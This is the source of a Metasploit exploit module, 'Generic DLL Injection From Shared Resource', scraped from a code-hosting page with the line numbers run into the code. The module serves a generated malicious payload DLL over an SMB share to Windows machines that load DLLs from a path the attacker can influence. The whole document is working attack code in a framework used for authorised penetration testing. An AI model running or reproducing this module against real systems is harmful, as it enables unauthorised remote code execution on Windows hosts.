Path: blob/master/modules/exploits/windows/smb/generic_smb_dll_injection.rb
32961 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::SMB::Server::Share9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Generic DLL Injection From Shared Resource',16'Description' => %q{17This is a general-purpose module for exploiting conditions where a DLL can be loaded18from a specified SMB share. This module serves payloads as DLLs over an SMB service.19},20'Author' => [21'Matthew Hall <hallm[at]sec-1.com>'22],23'References' => [24['CWE', '114']25],26'DefaultOptions' => {27'EXITFUNC' => 'thread'28},29'Privileged' => false,30'Platform' => 'win',31'Payload' => {32'Space' => 2048,33'DisableNops' => true34},35'Targets' => [36[ 'Windows x86', { 'Arch' => ARCH_X86 } ],37[ 'Windows x64', { 'Arch' => ARCH_X64 } ]38],39'DefaultTarget' => 0,40'DisclosureDate' => '2015-03-04',41'Notes' => {42'Reliability' => UNKNOWN_RELIABILITY,43'Stability' => UNKNOWN_STABILITY,44'SideEffects' => UNKNOWN_SIDE_EFFECTS45}46)47)4849register_options(50[51OptString.new('FILE_NAME', [ false, 'DLL File name to share (Default: random .dll)'])52]53)5455deregister_options('FILE_CONTENTS')56end5758def setup59super6061self.file_contents = generate_payload_dll62self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(rand(4..6))}.dll"63print_status("File available on #{unc}...")64end65end666768